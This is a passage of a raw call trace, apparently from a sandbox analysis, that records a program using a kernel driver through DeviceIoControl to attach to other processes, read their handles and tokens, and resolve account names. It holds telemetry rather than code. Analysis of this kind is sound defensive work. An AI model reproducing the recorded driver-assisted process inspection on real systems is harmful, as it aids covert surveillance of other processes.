AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0114.258] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.258] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0114.258] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.258] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.258] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.258] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.258] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.259] CloseHandle (hObject=0xc8) returned 1 [0114.259] CloseHandle (hObject=0xc0) returned 1 [0114.259] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.259] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.259] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.259] PsAcquireProcessExitSynchronization () returned 0x0 [0114.260] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880055905d0) [0114.260] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0114.260] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.260] PsReleaseProcessExitSynchronization () returned 0x2 [0114.260] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0114.260] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.260] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0114.260] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.260] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.260] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.260] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.260] PsAcquireProcessExitSynchronization () returned 0x0 [0114.260] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880055905d0) [0114.260] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0114.260] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.260] PsReleaseProcessExitSynchronization () returned 0x2 [0114.260] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0114.260] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.260] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0114.260] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.260] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.260] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.260] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.260] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.260] PsAcquireProcessExitSynchronization () returned 0x0 [0114.260] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880055905d0) [0114.260] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.261] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.261] PsReleaseProcessExitSynchronization () returned 0x2 [0114.261] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0114.261] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.261] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.261] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.261] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.261] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0114.261] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.261] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0114.261] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.261] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0114.261] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.261] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.261] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.261] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.261] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.262] CloseHandle (hObject=0xc8) returned 1 [0114.263] CloseHandle (hObject=0xc0) returned 1 [0114.263] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.263] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.263] PsAcquireProcessExitSynchronization () returned 0x0 [0114.263] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880055905d0) [0114.263] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0114.263] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.263] PsReleaseProcessExitSynchronization () returned 0x2 [0114.263] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0114.263] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.263] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0114.263] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.263] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.263] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0114.263] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.263] PsAcquireProcessExitSynchronization () returned 0x0 [0114.263] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880055905d0) [0114.263] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0114.263] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.263] PsReleaseProcessExitSynchronization () returned 0x2 [0114.263] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0114.263] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.263] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0114.263] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.263] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.263] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.264] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.264] PsAcquireProcessExitSynchronization () returned 0x0 [0114.264] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880055905d0) [0114.264] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.264] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.264] PsReleaseProcessExitSynchronization () returned 0x2 [0114.264] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0114.264] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.264] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.264] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.264] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.264] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0114.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.264] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0114.264] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.264] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0114.264] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.264] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.264] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.264] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.264] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.266] CloseHandle (hObject=0xc8) returned 1 [0114.266] CloseHandle (hObject=0xc0) returned 1 [0114.266] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.266] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.266] PsAcquireProcessExitSynchronization () returned 0x0 [0114.266] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880055905d0) [0114.266] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0114.266] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.266] PsReleaseProcessExitSynchronization () returned 0x2 [0114.266] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0114.266] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.266] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0114.266] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.266] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.266] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.266] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.266] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.266] PsAcquireProcessExitSynchronization () returned 0x0 [0114.266] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880055905d0) [0114.266] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0114.266] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.266] PsReleaseProcessExitSynchronization () returned 0x2 [0114.266] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0114.266] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.267] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 [0114.267] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.267] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.267] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.267] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.267] PsAcquireProcessExitSynchronization () returned 0x0 [0114.267] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880055905d0) [0114.267] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.267] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.267] PsReleaseProcessExitSynchronization () returned 0x2 [0114.267] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0114.267] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.267] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.267] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.267] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.267] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0114.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.267] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0114.267] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0114.267] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0114.267] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa80037b1ac0 | out: TokenHandle=0xfffffa80037b1ac0*=0xc8) returned 0x0 [0114.267] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0114.267] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.267] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.267] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.269] CloseHandle (hObject=0xc8) returned 1 [0114.269] CloseHandle (hObject=0xc0) returned 1 [0114.269] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.269] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.269] PsAcquireProcessExitSynchronization () returned 0x0 [0114.269] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880055905d0) [0114.269] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0114.269] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.269] PsReleaseProcessExitSynchronization () returned 0x2 [0114.269] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0114.269] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.269] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0114.269] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.269] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.269] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0114.269] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.269] PsAcquireProcessExitSynchronization () returned 0x0 [0114.269] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880055905d0) [0114.269] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: 